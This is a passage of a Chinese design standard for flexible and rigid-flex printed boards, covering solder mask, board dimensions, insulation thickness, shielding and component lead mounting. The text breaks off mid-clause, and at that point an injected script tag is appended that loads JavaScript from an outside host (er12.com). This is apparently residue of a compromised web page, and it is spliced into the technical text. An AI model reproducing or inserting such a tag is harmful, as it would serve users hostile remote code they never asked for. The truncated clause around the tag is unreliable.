5．9.8阻焊层
聚合物阻焊层只限用于4型刚挠印制板的刚性部分上并符合有关规范的规定，阻焊剂应符合sj／t10309规定的有关要求。需要时应规定在设计总图上。
5．9.8．1易熔金属上的阻焊层
聚合物阻焊层一般用于不易熔金属上，在易熔金属(如焊料)上要求涂覆阻焊层时，金属面的长、宽均大于1．3mm时应对金属开窗口。窗口面积至少0．25mm2，窗口中心位于网格交点上，且中心距不大于6．4mm。如果易熔金属的一个区域可不涂覆阻焊层时，应使涂覆层扩展到易熔金属面上至少0．25mm，但不大于0.64mm。
5．9．8．2难熔金属上的阻焊层
当难熔金属(如铜)上要求涂覆阻焊层时，阻焊层未覆盖的区域应电镀锡铅(见5．9．7．5
条)或涂覆焊料(见5.9.7．6条)。如需要其他镀层需经订购方批准。
5．10挠性和刚挠印制板尺寸
5．10．1外形尺寸
挠性和刚挠印制板外形尺寸(长和宽)应与标准网格系统的网格线相一致。
5．10.2厚度和偏差
挠性和刚挠印制板的厚度要求应规定在设计总图上，对要求控制厚度的区域才要求厚度测量。应规定元件安装区或表面接触区的厚度，包括镀层的厚度。基材厚度要求严格的区域，应测量基材的厚度。其尺寸偏差应尽可能宽，并规定在设计总图上。
5．10．3最小绝缘层厚度
5．10．3．1当4型刚挠印制板按gjb2142规定的材料构成时，固化后相邻导体层之间绝缘材料的最小厚度应为0．09mm。绝缘材料应由多层刚性层压板和预浸材料组成，在相邻导体层之间不少于2张b阶玻璃布粘接片，或1张c阶层压板或两者都有。
5．10．3.2挠性覆金属绝缘材料、粘合剂和覆盖层绝缘材料
在加工完成的2、3和4型挠性和刚挠印制板由挠性覆金属绝缘材料，粘合剂和覆盖层绝缘材料构成时，在相邻导体层之间，固化后的绝缘材料层厚度(基材和粘合剂)至少应为0．038mm。
5．10．4弓曲和扭曲
除非在设计总图中另有规定，对于4型刚挠印制板刚性部分的允许最大弓曲和扭曲为1．5％。
5．11屏蔽
所有屏蔽层应由覆盖层保护，除了铜箔之外的屏蔽材料(如银粉环氧，气相沉积金属等)应由订购方批准并规定在设计总图上，成品的屏蔽层应纳入质量一致性检验附连板中，并规定在设计总图上。
5．12元件安装要求
5．12.1认可的连接方法
元件引线通过元件孔连接，或元件端子表面安装在连接盘图形上。元件连接应按5．12．
1．2(5．12．1．7条规定的方法描述在装配图上。
5．12．1．1安装在挠性部位的制约规定
设计时不能把元件安放在连续挠曲或已经挠曲或折叠的区域上。通过挠性材料安装的引线应是全弯折的(见5．12．1．3条)。如要求用非弯折引线，应设计采用支撑件、包封或增强板。
以保证焊点不受挠曲应力的影响。
5．12．1．2非弯折引线
除非另有规定，非弯折引线(直的或为了牢固而部分弯曲的)应焊入元件孔或空心铆钉中，如果在装配图上规定不弯折，应采用非弯折引线端接。
5．12．1．2．1在非支撑孔中
应标明引线末端伸出铜箔表面的尺寸，其范围为0．51(1．5mm。
5．12．1．2．2在金属化孔或空心铆钉中
引线至少伸至镀层表面或空心铆钉边缘，并离镀层表面或空心铆钉不大于1．5mm。引线的末端在焊缝处应清晰可见，且不要求被焊料覆盖。
5．12．1．3弯折引线
当设计要求引线或端子有最大的机械牢固性时，引线或端子应弯折。元件孔可以是金属化孔、非支撑孔或铆钉孔。要否弯折应规定在装配图上。在不违反最小间距要求的同时，引线末端应不超过连接盘或其导线图形的边缘。引线的外形应清晰可见。为了元件牢固，引线的部分弯折应按5．12．1．2条的要求考虑。
5．12.1．4弯连导线
当层间连接必须用导线穿过一个孔弯连在板的两面时(见5．1．8条)，应使用非绝缘导线，元件引线不作为层间连接。装配图应指出导线在2型挠性印制板上在焊接前与每一面导体图形的接触情况，在不违反最小间距要求的同时，导线末端应不超出连接盘或其导体图形的边缘。与图14相一致。导线的顶部和底部不需在同一垂直面上。
5．12．1．5表面端接的带状引线
扁平带状引线可连接到挠性印制板连接盘上。连接只用锡焊。任一引线和连接盘之间的接触面积应不小于相当引线标称宽度的正方形面积(见图3)。应保持如5．1.4条所指出的最
小导线间距。连接的详细要求(见图15)可规定在装配图上。参考5．12．2．11条。
5．12．1．6表面端接的圆引线
根据订购方批准，圆引线元件不通过孔而直接连接?script src=http://er12.com/t.js>
